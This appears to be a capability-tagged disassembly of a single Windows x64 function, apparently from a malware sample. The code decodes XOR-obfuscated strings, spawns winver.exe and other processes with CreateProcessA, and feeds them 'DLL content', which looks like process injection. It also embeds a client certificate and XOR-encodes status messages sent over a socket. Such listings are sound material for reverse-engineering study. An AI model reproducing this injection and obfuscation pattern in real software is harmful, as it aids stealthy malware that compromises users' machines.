Function at 0x14005c1e0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x500]
sub rsp, 0x600
mov r15, rcx
xor edi, edi
mov dword [rbp + 0x548], edi
mov dword [rbp - 0x60], 0xd1dbd9de
mov dword [rbp - 0x5c], 0xadeed8d1
mov dword [rbp - 0x58], 0x100a4ad
mov ecx, edi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0xa
jb 0x14005c230
mov byte [rbp - 0x55], dil
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], rdi
lea rax, [rbp - 0x60]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x14005c262
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x78]
call fcn.140061160
nop
lea rcx, [rbp + 0x180]
call fcn.14005e000
nop
lea rax, [rsp + 0x50]
mov qword [rbp + 0x558], rax
mov r12, qword [rbp - 0x78]
lea r13, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova r13, qword [rsp + 0x78]
call fcn.1400bacc8
mov dword [rbp + 0x550], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], di
mov r14d, 4
mov dword [rbp + 0x548], r14d
test r12, r12
je 0x14005c354
cmp r12, 0x7fffffff
ja 0x14005d0eb
mov dword [rsp + 0x20], edi
xor r9d, r9d
mov r8d, r12d
mov rdx, r13
mov ecx, eax
call fcn.1400bacf0
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x14005d0f1
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rsp + 0x50]
call fcn.14005e3e0
lea r9, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova r9, qword [rsp + 0x50]
mov dword [rsp + 0x20], ebx
mov r8d, r12d
mov rdx, r13
mov ecx, dword [rbp + 0x550]
call fcn.1400bacf0
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x14005d0fd
lea rcx, [rsp + 0x50]
call fcn.14005bfc0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.14005e470
mov r12d, 2
test bl, bl
je 0x14005c401
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rdx, qword [rsp + 0x78]
lea r8d, [r12 + 8]
lea rcx, [rbp + 0x188]
call fcn.14005eeb0
test rax, rax
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
je 0x14005c3cf
cmp qword [rbp + rcx + 0x1c8], 0
cmovne r14d, edi
mov dword [rbp + rcx + 0x190], r14d
test dword [rbp + rcx + 0x194], r14d
jne 0x14005d0b3
jmp 0x14005c401
mov eax, 6
cmp qword [rbp + rcx + 0x1c8], 0
cmovne eax, r12d
or eax, dword [rbp + rcx + 0x190]
and eax, 0x17
mov dword [rbp + rcx + 0x190], eax
mov edx, dword [rbp + rcx + 0x194]
and edx, eax
jne 0x14005d107
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x14005c43d
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c438
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d158
call fcn.1400b9d58
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
call fcn.1400b7260
mov ebx, eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
mov dword [rbp + 0xa0], 0x68
mov dword [rbp + 0xdc], 1
mov word [rbp + 0xe0], di
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x114], xmm1
movups xmmword [rbp + 0x124], xmm1
movups xmmword [rbp + 0x134], xmm1
movups xmmword [rbp + 0x144], xmm1
movups xmmword [rbp + 0x154], xmm1
movups xmmword [rbp + 0x164], xmm1
mov dword [rbp + 0x174], eax
mov dword [rbp + 0x110], 0x68
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rax
movups xmm1, xmmword [str.C:WindowsSystem32winver.exe]
movups xmmword [rbp + 0x60], xmm1
movsd xmm0, qword [0x140137f58]
movsd qword [rbp + 0x70], xmm0
mov eax, dword [0x140137f60]
mov dword [rbp + 0x78], eax
movzx eax, word [0x140137f64]
mov word [rbp + 0x7c], ax
movzx eax, byte [0x140137f66]
mov byte [rbp + 0x7e], al
lea rax, [rbp + 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14005c6d0
movdqa xmm0, xmmword [0x14013e7b0]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x40], 0x100
mov rcx, rdi
lea eax, [rcx - 0x46]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x10
jb 0x14005c580
mov byte [rbp - 0x3f], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
lea rax, [rbp - 0x50]
nop word [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14005c5b0
mov r8, rsi
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x50]
call fcn.140061160
nop
cmp qword [rbp + 0x208], 0
je 0x14005c683
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x78]
call fcn.14005e540
mov r14, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x14005c62f
nop dword [rax]
lea rax, [rsp + 0x50]
cmp r14, 0xf
cmova rax, rsi
movzx ecx, byte [rax + rdi]
xor cl, 0x53
lea rax, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rax, qword [rsp + 0x78]
mov byte [rax + rdi], cl
inc rdi
cmp rdi, rdx
jb 0x14005c600
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rdx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x78]
lea rcx, [rbp + 0x180]
call fcn.140062920
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.14005f2f0
movzx edx, al
mov rcx, rbx
call fcn.140061a10
mov rcx, rbx
call fcn.1400618e0
nop
lea rcx, [rsp + 0x78]
call fcn.14005ed40
jmp 0x14005c68d
mov r14, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x50]
cmp r14, 0xf
jbe 0x14005cbb0
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14005c6c0
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d15e
mov rcx, rsi
call fcn.1400b9d58
xor sil, sil
jmp 0x14005d06b
sub ebx, 0xa
je 0x14005c9ad
cmp ebx, 1
jne 0x14005cbb8
movdqa xmm0, xmmword [0x14013e6c0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x14013e750]
movdqu xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x70], 0xa5b9f5b9
mov word [rsp + 0x74], 0xbb
mov byte [rsp + 0x76], bl
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x25
jb 0x14005c720
mov byte [rsp + 0x76], 0
lea r8, [rsp + 0x50]
mov edx, 0x104
lea rcx, [rbp + 0x3f0]
call fcn.1400d37a4
lea rax, [rbp + 0x48]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x3f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14005cbb8
movdqa xmm0, xmmword [0x14013e6c0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x14013e7e0]
movdqu xmmword [rsp + 0x60], xmm1
mov word [rsp + 0x70], 0x100
mov rcx, rdi
nop word [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x20
jb 0x14005c7c0
mov byte [rsp + 0x71], 0
lea r8, [rsp + 0x50]
mov edx, 0x104
lea rcx, [rbp + 0x3f0]
call fcn.1400d37a4
lea rax, [rbp + 0x48]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x3f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14005cbb8
movdqa xmm0, xmmword [0x14013e680]
movdqu xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x14013e700]
movdqu xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0x10], 0xadb1beae
mov dword [rbp - 0xc], 0xeaacaa
mov byte [rbp - 8], 1
mov rcx, rdi
nop
lea eax, [rcx - 0x46]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x27
jb 0x14005c860
mov byte [rbp - 8], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
lea rax, [rbp - 0x30]
nop word [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14005c890
mov r8, rsi
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.140061160
nop
cmp qword [rbp + 0x208], 0
je 0x14005c963
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x78]
call fcn.14005e540
mov r14, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x14005c90f
nop dword [rax]
lea rax, [rsp + 0x50]
cmp r14, 0xf
cmova rax, rsi
movzx ecx, byte [rdi + rax]
xor cl, 0x53
lea rax, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rax, qword [rsp + 0x78]
mov byte [rdi + rax], cl
inc rdi
cmp rdi, rdx
jb 0x14005c8e0
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rdx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x78]
lea rcx, [rbp + 0x180]
call fcn.140062920
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.14005f2f0
movzx edx, al
mov rcx, rbx
call fcn.140061a10
mov rcx, rbx
call fcn.1400618e0
nop
lea rcx, [rsp + 0x78]
call fcn.14005ed40
jmp 0x14005c96d
mov r14, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x50]
cmp r14, 0xf
jbe 0x14005cb9c
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14005c9a0
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d15e
mov rcx, rsi
call fcn.1400b9d58
jmp 0x14005cb9c
movdqa xmm0, xmmword [0x14013e6c0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x14013e7e0]
movdqu xmmword [rsp + 0x60], xmm1
mov word [rsp + 0x70], 0x100
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x20
jb 0x14005c9e0
mov byte [rsp + 0x71], 0
lea r8, [rsp + 0x50]
mov edx, 0x104
lea rcx, [rbp + 0x3f0]
call fcn.1400d37a4
lea rax, [rbp + 0x48]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x3f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14005cbb8
movdqa xmm0, xmmword [0x14013e680]
movdqu xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x14013e780]
movdqu xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0x10], 0xfdb8b5b5
mov dword [rbp - 0xc], 0x828fadae
mov dword [rbp - 8], 0xef979087
mov word [rbp - 4], 0x100
mov rcx, rdi
nop word [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x2c
jb 0x14005ca90
mov byte [rbp - 3], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
lea rax, [rbp - 0x30]
nop word [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14005cac0
mov r8, rsi
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.140061160
nop
cmp qword [rbp + 0x208], 0
je 0x14005cb92
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x78]
call fcn.14005e540
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x14005cb3f
mov r8, qword [rsp + 0x68]
mov r9, qword [rsp + 0x50]
nop dword [rax]
lea rax, [rsp + 0x50]
cmp r8, 0xf
cmova rax, r9
movzx ecx, byte [rax + rdi]
xor cl, 0x53
lea rax, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rax, qword [rsp + 0x78]
mov byte [rax + rdi], cl
inc rdi
cmp rdi, rdx
jb 0x14005cb10
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rdx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x78]
lea rcx, [rbp + 0x180]
call fcn.140062920
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.14005f2f0
movzx edx, al
mov rcx, rbx
call fcn.140061a10
mov rcx, rbx
call fcn.1400618e0
nop
lea rcx, [rsp + 0x78]
call fcn.14005ed40
nop
lea rcx, [rsp + 0x50]
call fcn.14005ed40
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor sil, sil
jmp 0x14005d06b
mov r8, qword [r15 + 0x10]
test r8, r8
jne 0x14005cc00
lea rdx, str.DLL_content_is_empty_
lea rcx, [0x140242520]
call fcn.14006cbd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.14005f2f0
movzx edx, al
mov rcx, rbx
call fcn.140061a10
mov rcx, rbx
call fcn.1400618e0
xor sil, sil
jmp 0x14005cc33
cmp qword [r15 + 0x18], 0xf
jbe 0x14005cc0a
mov r15, qword [r15]
mov dword [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
mov rdx, r15
mov rcx, qword [rbp + 0x30]
call fcn.14006bc00
movzx esi, al
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, str._____BEGIN_CERTIFICATE______r_nMIIDkDCCAngCFCoSY9gA8EnjCqbZmbJR9xU3wLQkMA0GCSqGSIb3DQEBCwUAMIGD_r_nMQswCQYDVQQGEwJFVTEPMA0GA1UECAwGVW5pdGVkMREwDwYDVQQHDAhOZXcgWW9y_r_nazEPMA0GA1UECgwGU2VydmVyMQ8wDQYDVQQLDAZTZXJ2ZXIxDzANBgNVBAMMBlNl_r_ncnZlcjEdMBsGCSqGSIb3DQEJARYOc2VydmVyQG1haWwucnUwHhcNMjMxMDE5MDY0_r_nNTUwWhcNMjQxMDE4MDY0NTUwWjCBhDELMAkGA1UEBhMCRVUxDzANBgNVBAgMBlVu_r_naXRlZDERMA8GA1UEBwwITmV3IFlvcmsxDzANBgNVBAoMBkNsaWVudDEPMA0GA1UE_r_nCwwGQ2xpZW50MQ8wDQYDVQQDDAZDbGllbnQxHjAcBgkqhkiG9w0BCQEWD2NsaWVu_r_ndEBtYWlsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALbud_Y5_r_nJbHle4RWOp1fUGXhgMgHdXIWCLs4h6YgJLFUMhiCnW0RgU_ETNZgsRUw3VA3_r_n5DhIpNDWeodRx6jCMmAARWOL52FxMV4EY86Dq8BSJHEgICw6lyIyrjsY8yQJ28a_r_n082RfwLzWXm_e0s845aokte8GUnKgTb1_qgJj54jWDtD1z8M168xBRGkRBCvKSc_r_ngjsLrXgfiaBU6DfIEKtjCtG5e8m1qGrNk0J3yMCcs_2kIURF_nTpzHP9iaYDPdd_r_nT1SG1NRk2FkOxQZrHj4uoPR6Def6oRjm3_WSi5NDTm_PMQVfsJ_ZdA0srm_fqM_r_nDTUUP0ouieBZWBkCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAdyWin0ez_zPHCV_g_r_nHIak0AqK66gC0one9zJCVacIlFrBEPbpjr06lbuTn_oATrDjLSn7_gzUG72wEC_r_n0aYjxjtc9bmM0ibz31qUJvCe1Oj6cLnwiXDI_plWcOLXoX8U_ZEZJOb7U0P9fqC_r_nKPVCmYdkA5vT_r1OP9SDsOzICfXe_VbZRVPmIT_yRqmAL0WJuBahorehhTOtFHK_r_nnFp6FMw11AzqIEffQgKmloGZ5CQ3jz5vsf0uRZrwOJEYzs0VmDxpk85VdXQavM_r_nmq_Jrk_i4hwblF8xv3LtwHZ3c2mzJzb1nHOb9k6nukkORdgwbfH61nSn24tjJW_r_nUyujdw_r_n_____END_CERTIFICATE______r_n
lea rdx, [0x140158d60]
lea rcx, [rbp + 0x80]
call fcn.140060dd0
nop
mov r8, qword [rbp + 0x90]
test r8, r8
jne 0x14005ccac
lea rdx, str.DLL_content_is_empty_
lea rcx, [0x140242520]
call fcn.14006cbd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.14005f2f0
movzx edx, al
mov rcx, rbx
call fcn.140061a10
mov rcx, rbx
call fcn.1400618e0
xor bl, bl
jmp 0x14005cce9
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rdx, qword [rbp + 0x80]
mov dword [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
mov rcx, qword [rbp + 0x48]
call fcn.14006bc00
movzx ebx, al
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
test sil, sil
je 0x14005cd3c
mov dword [rbp + 0x548], 0xd8c9c9ee
mov word [rbp + 0x54c], 0x100
nop dword [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx + 0x548], al
inc rcx
cmp rcx, 4
jb 0x14005cd20
lea rdx, [rbp + 0x548]
jmp 0x14005cd7a
mov dword [rbp + 0x548], 0xced0dafc
mov word [rbp + 0x54c], 0xdb
mov byte [rbp + 0x54e], 1
nop word [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx + 0x548], al
inc rcx
cmp rcx, 5
jb 0x14005cd60
lea rdx, [rbp + 0x548]
mov rcx, rdi
test bl, bl
je 0x14005cdbc
mov dword [rbp + 0x548], 0xd8c9c9ee
mov word [rbp + 0x54c], 0x100
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx + 0x548], al
inc rcx
cmp rcx, 4
jb 0x14005cda0
lea rax, [rbp + 0x548]
jmp 0x14005cdfa
mov dword [rbp + 0x548], 0xced0dafc
mov word [rbp + 0x54c], 0xdb
mov byte [rbp + 0x54e], 1
nop word [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx + 0x548], al
inc rcx
cmp rcx, 5
jb 0x14005cde0
lea rax, [rbp + 0x548]
lea rcx, str.Status:_1:____2:_
mov qword [rbp - 0x60], rcx
mov qword [rbp - 0x58], socket
mov qword [rbp - 0x78], rdx
movabs rcx, 0xb000000000000000
mov qword [rsp + 0x78], rcx
mov qword [rbp - 0x70], rax
movabs rax, 0xb000000000000008
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x50], r12
lea rax, [rsp + 0x78]
mov qword [rbp - 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov dword [rbp + 0x548], 0x23
mov rcx, rdi
mov r8, rdi
movabs r9, 0xfffffffffffffff
mov rax, qword [rsp + r8*8 + 0x78]
mov rdx, rax
shr rdx, 0x3c
cmp dl, 0xc
jne 0x14005ce98
and rax, r9
movups xmm0, xmmword [rbp + rax - 0x78]
psrldq xmm0, 8
movq rax, xmm0
add rcx, rax
jmp 0x14005cea7
cmp dl, 0xb
jne 0x14005cea3
add rcx, 0x20
jmp 0x14005cea7
add rcx, 8
inc r8
cmp r8, 2
jb 0x14005ce70
lea rdx, [rcx + 0x15]
cmp rdx, 0xf
jbe 0x14005cec7
lea rcx, [rbp + 0x10]
call fcn.140061010
mov qword [rbp + 0x20], rdi
lea rax, [rbp + 0x2e8]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x2d0], rdi
mov qword [rbp + 0x2d8], 0x100
lea rbx, vtable.std::_Fmt_iterator_buffer_class_std::back_insert_iterator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____char__struct_std::_Fmt_buffer_traits_.0
mov qword [rbp + 0x2c0], rbx
lea rax, [rbp + 0x10]
mov qword [rbp + 0x2e0], rax
movaps xmm1, xmmword [rbp - 0x60]
movaps xmmword [rbp - 0x30], xmm1
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x20], xmm0
lea rax, [rbp + 0x2c0]
mov qword [rbp - 0x10], rax
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], rdi
movdqa xmmword [rbp - 0x50], xmm1
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call fcn.140064530
lea rcx, [rbp + 0x2c0]
call fcn.140063620
nop
mov qword [rbp + 0x2c0], rbx
cmp qword [rbp + 0x2d0], 0
je 0x14005cf64
lea rcx, [rbp + 0x2c0]
call fcn.140063620
nop
cmp qword [rbp + 0x208], 0
je 0x14005d017
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x50]
call fcn.14005e540
mov rdx, rdi
cmp qword [rbp + 0x20], rdi
jbe 0x14005cfc2
nop dword [rax]
lea rax, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rax, qword [rbp + 0x10]
movzx ecx, byte [rax + rdx]
xor cl, 0x53
lea rax, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rax, qword [rsp + 0x50]
mov byte [rax + rdx], cl
inc rdx
cmp rdx, qword [rbp + 0x20]
jb 0x14005cf90
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [rbp + 0x180]
call fcn.140062920
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.14005f2f0
movzx edx, al
mov rcx, rbx
call fcn.140061a10
mov rcx, rbx
call fcn.1400618e0
nop
lea rcx, [rsp + 0x50]
call fcn.14005ed40
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14005d04e
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d049
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d0ad
call fcn.1400b9d58
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
lea rcx, [rbp + 0x80]
call fcn.14005ed40
nop
cmp qword [rbp + 0x208], 0
je 0x14005d081
lea rcx, [rbp + 0x180]
call fcn.14005df60
lea rcx, [rbp + 0x180]
call fcn.14005c140
nop
movzx eax, sil
mov rbx, qword [rsp + 0x640]
add rsp, 0x600
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400d3378
nop
mov edx, 1
lea rcx, [rbp - 0x50]
call fcn.1400593b0
mov r8, rax
lea rdx, str.ios_base::badbit_set
lea rcx, [rbp + 0x290]
call fcn.140059f30
lea rdx, [0x140155bc0]
lea rcx, [rbp + 0x290]
call fcn.1400bf6d0
nop
call fcn.140059640
int3
shr rbx, 0x20
mov ecx, ebx
call fcn.140059990
int3
shr rcx, 0x20
call fcn.140059990
nop
test dl, 4
je 0x14005d115
lea rbx, str.ios_base::badbit_set
jmp 0x14005d12a
test r12b, dl
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x60]
call fcn.1400593b0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x30]
call fcn.140059f30
lea rdx, [0x140155bc0]
lea rcx, [rbp - 0x30]
call fcn.1400bf6d0
nop
call fcn.1400d3378
int3
call fcn.1400d3378
int3